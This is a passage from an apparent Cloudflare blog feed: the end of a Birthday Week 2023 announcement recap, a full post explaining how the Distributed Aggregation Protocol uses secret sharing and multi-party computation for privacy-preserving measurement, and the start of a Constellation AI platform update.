href="http://staging.blog.mrk.cfdata.org/vectorize-vector-database-open-beta/"><span>Vectorize</span></a></p></td><td><p><span>Cloudflare’s vector database, designed to allow engineers to build full-stack, AI-powered applications entirely on Cloudflare's global network — available in Beta. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/announcing-ai-gateway/"><span>AI Gateway</span></a></p></td><td><p><span>AI Gateway helps developers have greater control and visibility in their AI apps, so that you can focus on building without worrying about observability, reliability, and scaling. AI Gateway handles the things that nearly all AI applications need, saving you engineering time so you can focus on what you're building.</span></p><br /><p><span> </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/webgpu-in-workers/"><span>You can now use WebGPU in Cloudflare Workers</span></a></p></td><td><p><span>Developers can now use WebGPU in Cloudflare Workers. Learn more about why WebGPUs are important, why we’re offering them to customers, and what’s next. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/ai-companies-building-cloudflare/"><span>What AI companies are building with Cloudflare</span></a></p></td><td><p><span>Many AI companies are using Cloudflare to build next generation applications. Learn more about what they’re building and how Cloudflare is helping them on their journey. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/writing-poems-using-llama-2-on-workers-ai/"><span>Writing poems using LLama 2 on Workers AI</span></a></p></td><td><p><span>Want to write a poem using AI? Learn how to run your own AI chatbot in 14 lines of code, running on Cloudflare’s global network. </span></p></td></tr></tbody></table>
    <div>
      <h3>Thursday</h3>
      <a href="#thursday">
        
      </a>
    </div>
    <table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>What</span></p></td><td><p><span>In a sentence…</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/hyperdrive-making-regional-databases-feel-distributed/"><span>Hyperdrive</span></a></p></td><td><p><span>Cloudflare launches a new product, Hyperdrive, that makes existing regional databases much faster by dramatically speeding up queries that are made from Cloudflare Workers.</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/d1-open-beta-is-here/"><span>D1 Open Beta</span></a></p></td><td><p><span>D1 is now in open beta, and the theme is “scale”: with higher per-database storage limits and the ability to create more databases, we’re unlocking the ability for developers to build production-scale applications on D1.</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/race-ahead-with-build-caching/"><span>Pages Build Caching</span></a></p></td><td><p><span>Build cache is a feature designed to reduce your build times by caching and reusing previously computed project components — now available in Beta. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/running-serverless-puppeteer-workers-durable-objects/"><span>Running serverless Puppeteer with Workers and Durable Objects</span></a></p></td><td><p><span>Introducing the Browser Rendering API, which enables developers to utilize the Puppeteer browser automation library within Workers, eliminating the need for serverless browser automation system setup and maintenance</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/cloudflare-now-powering-microsoft-edge-secure-network/"><span>Cloudflare partners with Microsoft to power their Edge Secure Network</span></a></p></td><td><p><span>We partnered with Microsoft Edge to provide a fast and secure VPN, right in the browser. Users don’t have to install anything new or understand complex concepts to get the latest in network-level privacy: Edge Secure Network VPN is available on the latest consumer version of Microsoft Edge in most markets, and automatically comes with 5GB of data. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/workers-playground/"><span>Re-introducing the Cloudflare Workers playground</span></a></p></td><td><p><span>We are revamping the playground that demonstrates the power of Workers, along with new development tooling, and the ability to share your playground code and deploy instantly to Cloudflare’s global network</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/cloudflare-integrations-marketplace-new-partners-sentry-momento-turso/"><span>Cloudflare integrations marketplace expands</span></a></p></td><td><p><span>Introducing the newest additions to Cloudflare’s Integration Marketplace. Now available: Sentry, Momento and Turso. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/socket-api-works-javascript-runtimes-wintercg-polyfill-connect/"><span>A Socket API that works across Javascript runtimes — announcing WinterCG spec and polyfill for connect()</span></a></p></td><td><p><span>Engineers from Cloudflare and Vercel have published a draft specification of the connect() sockets API for review by the community, along with a Node.js compatible polyfill for the connect() API that developers can start using.</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/workers-pricing-scale-to-zero/"><span>New Workers pricing</span></a></p></td><td><p><span>Announcing new pricing for Cloudflare Workers, where you are billed based on CPU time, and never for the idle time that your Worker spends waiting on network requests and other I/O.</span></p></td></tr></tbody></table>
    <div>
      <h3>Friday</h3>
      <a href="#friday">
        
      </a>
    </div>
    <table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>What</span></p></td><td><p><span>In a sentence…</span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/post-quantum-cryptography-ga/"><span>Post Quantum Cryptography goes GA</span></a><span> </span></p></td><td><p><span>Cloudflare is rolling out post-quantum cryptography support to customers, services, and internal systems to proactively protect against advanced attacks. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/announcing-encrypted-client-hello/"><span>Encrypted Client Hello</span></a></p></td><td><p><span>Announcing a contribution that helps improve privacy for everyone on the Internet. Encrypted Client Hello, a new standard that prevents networks from snooping on which websites a user is visiting, is now available on all Cloudflare plans. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/threats-lurking-office-365-cloudflare-email-retro-scan/"><span>Email Retro Scan</span></a><span> </span></p></td><td><p><span>Cloudflare customers can now scan messages within their Office 365 Inboxes for threats. The Retro Scan will let you look back seven days to see what threats your current email security tool has missed. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/turnstile-ga/"><span>Turnstile is Generally Available</span></a></p></td><td><p><span>Turnstile, Cloudflare’s CAPTCHA replacement, is now generally available and available for free to everyone and includes unlimited use. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/ai-bots/"><span>AI crawler bots</span></a></p></td><td><p><span>Any Cloudflare user, on any plan, can choose specific categories of bots that they want to allow or block, including AI crawlers. We are also recommending a new standard to robots.txt that will make it easier for websites to clearly direct how AI bots can and can’t crawl.</span></p><br /></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/detecting-zero-days-before-zero-day/"><span>Detecting zero-days before zero-day</span></a></p></td><td><p><span>Deep dive into Cloudflare’s approach and ongoing research into detecting novel web attack vectors in our WAF before they are seen by a security researcher. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/deep-dive-privacy-preserving-measurement/"><span>Privacy Preserving Metrics</span></a></p></td><td><p><span>Deep dive into the fundamental concepts behind the Distributed Aggregation Protocol (DAP) protocol with examples on how we’ve implemented it into Daphne, our open source aggregator server. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/post-quantum-to-origins/"><span>Post-quantum cryptography to origin</span></a></p></td><td><p><span>We are rolling out post-quantum cryptography support for outbound connections to origins and Cloudflare Workers fetch() calls. Learn more about what we enabled, how we rolled it out in a safe manner, and how you can add support to your origin server today. </span></p></td></tr><tr><td><p><a href="http://staging.blog.mrk.cfdata.org/network-performance-update-birthday-week-2023/"><span>Network performance update</span></a></p></td><td><p><span>Cloudflare’s updated benchmark results regarding network performance plus a dive into the tools and processes that we use to monitor and improve our network performance. </span></p></td></tr></tbody></table>
    <div>
      <h3>One More Thing</h3>
      <a href="#one-more-thing">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1e1X3l01L7kc5DgRUgAoU5/76d3d1955e15044bbbd14c57ee05877c/image1-51.png" />
            
            </figure><p>When Cloudflare turned 12 last year, we announced the <a href="https://www.cloudflare.com/lp/workers-launchpad/">Workers Launchpad Funding Program</a> - you can think of it like a startup accelerator program for companies building on Cloudlare’s Developer Platform, with no restrictions on your size, stage, or geography.</p><p><b>A refresher on how the Launchpad works:</b> Each quarter, we admit a group of startups who then get access to a wide range of technical advice, mentorship, and fundraising opportunities. That includes our Founders Bootcamp, Open Office Hours with our Solution Architects, and Demo Day. Those who are ready to fundraise will also be connected to our community of 40+ leading global Venture Capital firms.</p><p>In exchange, we just ask for your honest feedback. We want to know what works, what doesn’t and what you need us to build for you. We don’t ask for a stake in your company, and we don’t ask you to pay to be a part of the program.</p><blockquote><p>Targum (my startup) was one of the first AI companies (w/ <a href="https://twitter.com/jamdotdev?ref_src=twsrc%5Etfw">@jamdotdev</a> ) in the Cloudflare workers launchpad!</p><p>In return to tons of stuff we got from CF 🙏 they asked for feedback, and my main one was, let me do everything end to end on CF, I don't want to rent GPU servers… <a href="https://t.co/0j2ZymXpsL">https://t.co/0j2ZymXpsL</a></p><p>— Alex Volkov (@altryne) <a href="https://twitter.com/altryne/status/1707034613699547433?ref_src=twsrc%5Etfw">September 27, 2023</a></p></blockquote><p>Over the past year, we’ve received applications from nearly 60 different countries. We’ve had a chance to work closely with 50 amazing early and growth-stage startups admitted into the first two cohorts, and have grown our VC partner community to 40+ firms and more than $2 billion in potential investments in startups building on Cloudflare.</p><p><b>Next up: Cohort #3!</b> Between recently wrapping up Cohort #2 (check out their <a href="https://cloudflare.tv/shows/workers-launchpad-demo-day/workers-launchpad-demo-day-cohort-2/3vVqLOgq">Demo Day</a>!), celebrating the Launchpad’s 1st birthday, and the heaps of announcements we made last week, we thought that everyone could use a little extra time to catch up on all the news - which is why we are extending the deadline for Cohort #3 a few weeks to <b>October 13, 2023. AND</b> we’re <b>reserving 5 spots in the class for those who are already using any of last Wednesday’s AI announcements.</b> Just be sure to mention what you’re using in your application.</p><p>So once you’ve had a chance to check out the announcements and pour yourself a cup of coffee, check out the <a href="https://www.cloudflare.com/lp/workers-launchpad/"><b>Workers Launchpad</b></a>. Applying is a breeze — you’ll be done long before your coffee gets cold.</p>
    <div>
      <h3>Until next time</h3>
      <a href="#until-next-time">
        
      </a>
    </div>
    <p>That’s all for Birthday Week 2023. We hope you enjoyed the ride, and we’ll see you at our next innovation week!</p><blockquote><p>i hate <a href="https://twitter.com/Cloudflare?ref_src=twsrc%5Etfw">@Cloudflare</a> launch week</p><p>most launch weeks are underwhelming</p><p>cloudflare always makes me rethink everything i’m doing</p><p>— Dax (@thdxr) <a href="https://twitter.com/thdxr/status/1707575791234560377?ref_src=twsrc%5Etfw">September 29, 2023</a></p></blockquote><p></p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Turnstile]]></category>
            <category><![CDATA[CAPTCHA]]></category>
            <category><![CDATA[Research]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Connectivity Cloud]]></category>
            <category><![CDATA[undefined]]></category>
            <category><![CDATA[D1]]></category>
            <category><![CDATA[Beta]]></category>
            <guid isPermaLink="false">7umrrlVzTKNvArNCqoQUSI</guid>
            <dc:creator>Dina Kozlov</dc:creator>
            <dc:creator>Mia Wang</dc:creator>
        </item>
        <item>
            <title><![CDATA[Privacy-preserving measurement and machine learning]]></title>
            <link>https://blog.cloudflare.com/deep-dive-privacy-preserving-measurement/</link>
            <pubDate>Fri, 29 Sep 2023 13:00:45 GMT</pubDate>
            <description><![CDATA[ Cloudflare is implementing DAP (Distributed Aggregation Protocol) – a way of aggregating data without exposing individual measurements that uses  multi-party computation ]]></description>
            <content:encoded><![CDATA[ <p></p><p>In 2023, data-driven approaches to making decisions are the norm. We use data for everything from analyzing x-rays to translating thousands of languages to directing autonomous cars. However, when it comes to building these systems, the conventional approach has been to collect as much data as possible, and worry about privacy as an afterthought.</p><p>The problem is, data can be sensitive and used to identify individuals – even when explicit <a href="https://dataprivacylab.org/projects/identifiability/paper1.pdf">identifiers are removed</a> or noise is added.</p><p>Cloudflare Research has been interested in exploring different approaches to this question: is there a <i>truly private</i> way to perform data collection, especially for some of the most sensitive (but incredibly useful!) technology?</p><p>Some of the use cases we’re thinking about include: training federated <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning models</a> for predictive keyboards without collecting every user’s keystrokes; performing <a href="https://www.census.gov/data/academy/webinars/2021/disclosure-avoidance-series/simulated-reconstruction-abetted-re-identification-attack-on-the-2010-census.html">a census</a> without storing data about individuals’ responses; <a href="https://covid19-static.cdn-apple.com/applications/covid19/current/static/contact-tracing/pdf/ENPA_White_Paper.pdf">providing healthcare authorities with data about COVID-19 exposures without tracking peoples’ locations en masse</a>; figuring out the most common errors browsers are experiencing without reporting which websites are visiting.  </p><p>It’s with those use cases in mind that we’ve been participating in the Privacy Preserving Measurement <a href="https://datatracker.ietf.org/group/ppm/about/">working group at the IETF</a> whose goal is to develop systems for collecting and using this data while minimizing the amount of per-user information exposed to the data collector.</p><p>So far, the most promising standard in this space is <a href="https://datatracker.ietf.org/doc/draft-ietf-ppm-dap/">DAP – Distributed Aggregation Protocol</a> – a clever way to use <a href="https://en.wikipedia.org/wiki/Secure_multi-party_computation">multi-party computation</a> to aggregate data without exposing individual measurements. Early versions of the algorithms used by DAP have been implemented by Google and Apple for <a href="https://covid19-static.cdn-apple.com/applications/covid19/current/static/contact-tracing/pdf/ENPA_White_Paper.pdf">exposure notifications</a>.</p><p>In this blog post, we’ll do a deep dive into the fundamental concepts behind the DAP protocol and give an example of how we’ve implemented it into <a href="https://github.com/cloudflare/daphne">Daphne</a>, our open source aggregator server. We hope this will inspire others to collaborate with us and get involved in this space!</p>
    <div>
      <h3>The principles behind DAP, an open standard for privacy preserving measurement</h3>
      <a href="#the-principles-behind-dap-an-open-standard-for-privacy-preserving-measurement">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Y8EEQM4c3MgIDKhYnp09B/c7626358f569efcd509c4571ff3fc409/MAnxtCSIuR-Y9c_2OkGchGPEHA_U4feb9db_mXD1BOWpc5cMy25ggAgcGg_Ir-8lkU6kCXkLIyq8M25cxxBmPksZL1EIrlsHErLD7rpZXvMxnRdeLmWdavhLIGww.png" />
            
            </figure><p>At a high level, using the DAP protocol forces us to think in terms of <i>data minimization</i><b>:</b> collect only the data that we use and nothing more. Abstractly, our goal is to devise a system with which a data collector can compute some function \( f(m_{1},...,m_{N}) \) of measurements \( m_{1},...,m_{N} \) uploaded by users without observing the measurements in the clear.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/qDmuIUgKzPXskT39UdfKf/17309b04fd740935c53fe01be8f4b11c/image12-3.png" />
            
            </figure><p><i>Alice wants to know some aggregate statistic – like the average salary of the people at the party – without knowing how much each individual person makes.</i></p><p>This may at first seem like an impossible task: to compute on data without knowing the data we're computing on. Nevertheless, —and, as is often the case in cryptography— once we've properly constrained the problem, solutions begin to emerge.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5nMLQ0GblS8fPnWGtfm2oM/36cc8266ab7f74a7240d3aa266d26790/image9-2.png" />
            
            </figure><p><i>Strawperson solution: delegate the calculation to a trusted third party, Bob. The problem with this is that Bob can see the private inputs in the clear</i></p><p>In an ideal world (see above), there would be some server somewhere on the Internet that we could trust to consume measurements, aggregate them, and send the result to the data collector without ever disclosing anything else. However, in reality there's no reason for users to trust such a server more than the data collector; Indeed, both are subject to the usual assortment of attacks that can lead to a data breach.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6axqzCL6WF50qNFJu3qMT5/3781cd288e80cd53be27ad090ad52082/image1-42.png" />
            
            </figure><p>_MPC solution: secret-share the inputs across multiple parties, a.k.a. Bob and Daphne. If at least one person is honest, Alice gets the aggregate result without anyone knowing individual inputs in the clear._‌ ‌</p><p>Instead, what we do in DAP is <i>distribute</i> the computation across the servers such that no single server has a complete measurement. The key idea that makes this possible is <i>secret sharing</i>.</p>
    <div>
      <h2>Computing on secret shared data</h2>
      <a href="#computing-on-secret-shared-data">
        
      </a>
    </div>
    <p>To set things up, let's make the problem a little more concrete. Suppose each measurement \( m_{i} \) is a number and our goal is to compute the sum of the measurements. That is, \( f(m_{1},...,m_{N}) = m_{1} + \cdots + m_{N} \). Our goal is to use secret sharing to allow two servers, which we'll call <i>aggregators</i>, to jointly compute this sum.</p><p>To understand secret sharing, we're going to need a tiny bit of math—modular arithmetic. The expression \(  X + Y  (\textrm{mod})  \textit{q} \) means "add \(  X  \) and \(  Y  \), then divide the sum by \(  q  \) and return the remainder". For now the modulus \(  q  \) can be any large number, as long as it's larger than any sum we'd ever want to compute (\(  2 ^{64}  \), say). In the remainder of this section, we'll omit \(  q  \) and simply write \(  X  + Y \) for addition modulo \(  q  \).</p><p>The goal of secret sharing is to shard a measurement (i.e., a "secret") into two "shares" such that (i) the measurement can be recovered by combining the shares together and (ii) neither share leaks any information about the measurement. To secret share each \(  m_{i} \), we choose a random number \( R_{i} \in \lbrace  0,...,q - 1\rbrace \), set the first share to be \(X_{i} = m_{i} - R_{i} \) and set the other share to be \( Y_{i} = R_{i} \). To recover the measurement, we simply add the shares together. This works because \( X_{i} + Y_{i} = (m_{i} - R_{i}) + R_{i} = m_{i} \). Moreover, each share is indistinguishable from a random number: For example, \( 1337 \) might be secret-shared into \( 11419752798245067454 \) and \( 7026991275464485499 \) (modulo \( q = 2^{64} \)).</p><p>With this scheme we can devise a simple protocol for securely computing the sum:</p><ol><li><p>Each client shards its measurement \( m_{i} \) into \( X_{i} \) and \( Y_{i} \) and sends one share to each server.</p></li><li><p>The first aggregator computes \( X = X_{1} + \cdots + X_{N} \) and reveals \( X \) to the data collector. The second aggregator computes \( Y = Y_{1} + \cdots + Y_{N} \) and reveals \( Y \) to the data collector.</p></li><li><p>The data collector unshards the result as \( r = X + Y \).</p></li></ol><p>This works because the secret shares are additive, and the order in which we add things up is irrelevant to the function we're computing:</p><p>\( r = m_{1} + \cdots + m_{N} \) // by definition\( r = (m_{1} - R_{1}) + R_{1} + \cdots (m_{N} - R_{N}) + R_{N} \) // apply sharding\( r = (m_{1} - R_{1}) + \cdots + (m_{N} - R_{N}) + R_{1} + \cdots R_{N} \) // rearrange the sum\( r = X + Y \) // apply aggregation</p>
    <div>
      <h3>Rich data types</h3>
      <a href="#rich-data-types">
        
      </a>
    </div>
    <p>This basic template for secure aggregation was described in a paper from Henry Corrigan-Gibbs and Dan Boneh called <a href="https://www.usenix.org/conference/nsdi17/technical-sessions/presentation/corrigan-gibbs">"Prio: Private, Robust, and Scalable Computation of Aggregate Statistics"</a> (NSDI 2017). This paper is a critical milestone in DAP's history, as it showed that a wide variety of aggregation tasks (not just sums) can be solved within one, simple protocol framework, Prio. With DAP, our goal in large part is to bring this framework to life.</p><p>All Prio tasks are instances of the same template. Measurements are encoded in a form that allows the aggregation function to be expressed as the sum of (shares of) the encoded measurements. For example:</p><ol><li><p>To get arithmetic mean, we just divide the sum by the number of measurements.</p></li><li><p>Variance and standard deviation can be expressed as a linear function of the sum and the sum of squares (i.e., \( m_{i}, m_{i}^{2} \) for each \( i \)).</p></li><li><p>Quantiles (e.g., median) can be estimated reasonably well by mapping the measurements into buckets and aggregating the histogram.</p></li><li><p>Linear regression (i.e., finding a line of best fit through a set of data points) is a bit more complicated, but can also be expressed in the Prio framework.</p></li></ol><p>This degree of flexibility is essential for wide-spread adoption because it allows us to get the most value we can out of a relatively small amount of software. However, there are a couple problems we still need to overcome, both of which entail the need for some form of interaction.</p>
    <div>
      <h3>Input validation</h3>
      <a href="#input-validation">
        
      </a>
    </div>
    <p>The first problem is <i>input validation</i>. Software engineers, especially those of us who operate web services, know in our bones that validating inputs we get from clients is of paramount importance. (Never, <i>ever</i> stick a raw input you got from a client into an SQL query!) But if the inputs are secret shared, then there is no way for an aggregator to discern even a single bit of the measurement, let alone check that it has an expected value. (A secret share of a valid measurement and a number sampled randomly from \( \lbrace 0,...,q - 1 \rbrace \) look identical.) At least, not on its own.</p><p>The solution adopted by Prio (and the <a href="https://datatracker.ietf.org/doc/draft-irtf-cfrg-vdaf/">standard</a>, with some improvements), is a special kind of <a href="/introducing-zero-knowledge-proofs-for-private-web-attestation-with-cross-multi-vendor-hardware/"><i>zero-knowledge proof (ZKP)</i> system</a> designed to operate on secret shared data. The goal is for a prover to convince a verifier that a statement about some data it has committed to is true (e.g., the user has a valid hardware key), without revealing the data itself (e.g. which hardware key is in-use).</p><p>Our setting is exactly the same, except that we're working on secret-shared data rather than committed data. Along with the measurement shares, the client sends shares of a validity proof; then during aggregation, the aggregators interact with one another in order to check and verify the proof. (One round-trip over the network is required.)</p><p>A happy consequence of working with secret shared data is that proof generation and verification are much faster than for committed (or encrypted) data. This is mainly because we avoid the use of public-key cryptography (i.e., <a href="/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/">elliptic curves</a>) and are less constrained in how we choose cryptographic parameters. (We require the modulus \( q \) to be a prime number with a particular structure, but such primes are not hard to find.)</p>
    <div>
      <h3>Non-linear aggregation</h3>
      <a href="#non-linear-aggregation">
        
      </a>
    </div>
    <p>There are a variety of aggregation tasks for which Prio is not well-suited, in particular those that are non-linear. One such task is to find the "heavy hitters" among the set of measurements. The heavy hitters are the subset of the measurements that occur most frequently, say at least \( t \) times for some threshold \( t \). For example, the measurements might be the URLs visited on a given day by users of a web browser; the heavy hitters would be the set of URLs that were visited by at least \( t \) users.</p><p>This computation can be expressed as a simple program:</p>
            <pre><code>def heavy_hitters(measurements: list[bytes], t: int) -&gt; set[bytes]:
    hh = defaultdict(lambda: 0)
    for measurement in measurements:
        hh[measurement] += 1
    return set(map(lambda x: x[0], filter(lambda x: x[1] &gt;= t, hh.items())))</code></pre>
            <p>However, it cannot be expressed as a linear function, at least not efficiently (with sub-exponential space). This would be required to perform this computation on secret-shared measurements.</p><p>In order to enable non-linear computation on secret shared data, it is necessary to introduce some form of interaction. There are a few possibilities. For the heavy hitters problem in particular, Henry Corrigan-Gibbs and others devised a protocol called <a href="https://ieeexplore.ieee.org/document/9519492">Poplar</a> (IEEE Security &amp; Privacy 2021) in which several rounds of aggregation and unsharding are performed, where in each round, information provided by the collector is used to "query" the measurements to obtain a refined aggregate result.</p>
    <div>
      <h3>Helping to build a world of multi-party computation</h3>
      <a href="#helping-to-build-a-world-of-multi-party-computation">
        
      </a>
    </div>
    <p>Protocols like Prio or Poplar that enable computation over secret shared data fit into a rich tradition in cryptography known as <i>multi-party computation (MPC)</i>. MPC is at once an active research area in theoretical computer science and a class of protocols that are beginning to see real-world use—in our case, to minimize the amount of privacy-sensitive information we collect in order to keep the Internet moving.</p><p>The PPM working group at IETF represents a significant effort, by Cloudflare and others, to standardize MPC techniques for privacy preserving measurement. This work has three main prongs:</p><ol><li><p>To identify the types of problems that need to be solved.</p></li><li><p>To provide cryptography researchers from academia, industry, and the public sector with "templates" for solutions that we know how to deploy. One such template is called a <a href="https://datatracker.ietf.org/doc/draft-irtf-cfrg-vdaf/">"Verifiable Distributed Aggregation Function (VDAF)"</a>, which specifies a kind of "API boundary" between protocols like Prio and Poplar and the systems that are built around them. Cloudflare Research is leading development of the standard, contributing to <a href="https://github.com/divviup/libprio-rs">implementations</a>, and providing <a href="https://petsymposium.org/popets/2023/popets-2023-0126.pdf">security analysis</a>.</p></li><li><p>To provide a deployment roadmap for emerging protocols. <a href="https://datatracker.ietf.org/doc/draft-ietf-ppm-dap/">DAP</a> is one such roadmap: it specifies execution of a generic VDAF over HTTPS and attends to the various operational considerations that arise as deployments progress. As well as contributing to the standard itself, Cloudflare has developed its own implementation designed for our own infrastructure (see below).</p></li></ol><p>The IETF is working on its first set of drafts (DAP/VDAF). These drafts are mature enough to deploy, and a number of deployments are scaling up as we speak. Our hope is that we have initiated positive feedback between theorists and practitioners: as new cryptographic techniques emerge, more practitioners will begin to work with them, which will lead to identifying new problems to solve, leading to new techniques, and so on.</p>
    <div>
      <h3>Daphne: Cloudflare’s implementation of a DAP Aggregation Server</h3>
      <a href="#daphne-cloudflares-implementation-of-a-dap-aggregation-server">
        
      </a>
    </div>
    <p>Our emerging technology group has been working on <a href="https://github.com/cloudflare/daphne">Daphne</a>, our Rust-based implementation of a DAP aggregator server. This is only half of a deployment – DAP architecture requires two aggregator servers to interoperate, both operated by different parties. Our current version only implements the DAP Helper role; the other role is the DAP Leader. Plans are in the works to implement the Leader as well, which will open us up to deploy Daphne for more use cases.</p><p>We made two big decisions in our implementation here: using Rust and using Workers. Rust has been skyrocketing in popularity in the past few years due to its performance and memory management – a favorite of cryptographers for similar reasons. <a href="https://workers.cloudflare.com/">Workers</a> is Cloudflare’s serverless execution environment that allows developers to easily deploy applications globally across our network – making it a favorite tool to prototype with at Cloudflare. This allows for easy integration with our Workers-based storage solutions like: <a href="https://developers.cloudflare.com/durable-objects/">Durable Objects</a>, which we’re using for storing various data artifacts as required by the DAP protocol; and <a href="https://www.cloudflare.com/developer-platform/workers-kv/">KV</a>, which we’re using for managing aggregation task configuration. We’ve learned a lot from our interop tests and deployment, which has helped improve our own Workers products and which we have also fed back into the PPM working group to help improve the DAP standard.</p><p>If you’re interested in learning more about Daphne or collaborating with us in this space, you can fill out <a href="https://www.cloudflare.com/lp/privacy-edge/">this form</a>. If you’d like to get involved in the DAP standard, you can check out the <a href="https://datatracker.ietf.org/wg/ppm/about/">working group</a>.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Privacy]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Research]]></category>
            <guid isPermaLink="false">2vQ2io72Fczi8H9Eh8HrWF</guid>
            <dc:creator>Christopher Patton</dc:creator>
            <dc:creator>Mari Galicer</dc:creator>
        </item>
        <item>
            <title><![CDATA[Globally distributed AI and a Constellation update]]></title>
            <link>https://blog.cloudflare.com/globally-distributed-ai-and-a-constellation-update/</link>
            <pubDate>Thu, 22 Jun 2023 13:00:05 GMT</pubDate>
            <description><![CDATA[ Today we’re announcing new Constellation features, explain why it’s the first globally distributed AI platform and why deploying your machine learning tasks in our global network is advantageous. ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/d7mzaMT9WUUuX6PKMqP0o/f33c7430024dca3b9eeb0b65b8ee4d21/image2-27.png" />
            
            </figure><p>During Cloudflare's 2023 Developer Week, we announced <a href="/introducing-constellation/">Constellation</a>, a set of APIs that allow everyone to run fast, low-latency inference tasks using pre-trained machine learning/AI models, directly on Cloudflare’s network.</p>
    <div>
      <h3>Constellation update</h3>
      <a href="#constellation-update">
        
      </a>
    </div>
    <p>We now have a few thousand accounts onboarded in the Constellation private beta and have been listening to our customer's feedback to evolve and improve the platform. Today, one month after the announcement, we are upgrading Constellation with three new features:</p><p><b>Bigger models</b>We are increasing the size limit of your models from 10 MB to 50 MB. While still somewhat conservative during the private beta, this new limit opens doors to more pre-trained and optimized models you can use with Constellation.</p><p><b>Tensor caching</b>When you run a Constellation inference task, you pass multiple tensor objects as inputs, sometimes creating big data payloads. These inputs travel through the wire protocol back and forth when you repeat the same task, even when the input changes from multiple runs are minimal, creating unnecessary network and data parsing overhead.</p><p>The client API now supports caching input tensors resulting in even better network latency and faster inference times.</p><p><b>XGBoost runtime</b>Constellation started with the ONNX runtime, but our vision is to support multiple runtimes under a common API. Today we're adding the XGBoost runtime to the list.</p><p><a href="https://xgboost.ai/">XGBoost</a> is an optimized distributed gradient boosting library designed to be highly efficient, flexible, and portable, and it's known for its performance in structured and tabular data tasks.</p><p>You can start uploading and using XGBoost models today.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1KCtc0U75hfGd2cztvKt2H/89eda58cb5e59d749cfe84549fde59af/SRYFZbgQfXB60T7k7-Fj0PAP3cWbivZm6oU_jQFzoDbQQSF4IHkCmfugCHSHLwL4_pfE6-tlYfgHrsNg7Z5z5JLvjlUp8aPOiXPVHqGOT_mfAVgB70rn8_QxvekK.png" />
            
            </figure><p>You can find the updated documentation with these new features and an example on how to use the XGBoost runtime with Constellation in our <a href="https://developers.cloudflare.com/constellation">Developers Documentation</a>.</p>
    <div>
      <h3>An era of globally distributed AI</h3>
      <a href="#an-era-of-globally-distributed-ai">
        
      </a>
    </div>
    <p>Since Cloudflare’s network is globally distributed, Constellation is our first public release of globally distributed machine learning.</p><p>But what does this mean? You may not think of a global network as the place to deploy your machine learning tasks, but machine learning has been a core part of what’s enabled much of Cloudflare’s core functionality for many years. And we run it across our <a href="https://www.cloudflare.com/network/">global network in 300 cities</a>.</p><p>Is this large spike in traffic an attack or a Black Friday sale? What’s going to be the best way to route this request based on current traffic patterns? Is this request coming from a human or a bot? Is this HTTP traffic a zero-day? Being able to answer these questions using automated <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning</a> and <a href="https://www.cloudflare.com/learning/ai/what-is-artificial-intelligence/">AI</a>, rather than human intervention, is one of the things that’s enabled Cloudflare to scale.</p><p>But this is just a small sample of what globally distributed machine learning enables. The reason this was so helpful for us was because we were able to run this machine learning as an integrated part of our stack, which is why we’re now in the process of opening it up to more and more developers with Constellation.</p><p>As Michelle Zatlyn, our co-founder likes to say, we’re just getting started (in this space) — every day we’re adding hundreds of new users to our <a href="/introducing-constellation/">Constellation beta</a>, testing out and globally deploying new models, and beyond that, deploying new hardware to support the new types of workloads that <a href="https://www.cloudflare.com/learning/ai/what-is-artificial-intelligence/">AI</a> will bring to the our global network.</p><p>With that, we wanted to share a few announcements and some use cases that help illustrate why we’re so excited about globally distributed AI. And since it’s Speed Week, it should be no surprise that, well, speed is at the crux of it all.</p>
    <div>
      <h3>Custom tailored web experiences, powered by AI</h3>
      <a href="#custom-tailored-web-experiences-powered-by-ai">
        
      </a>
    </div>
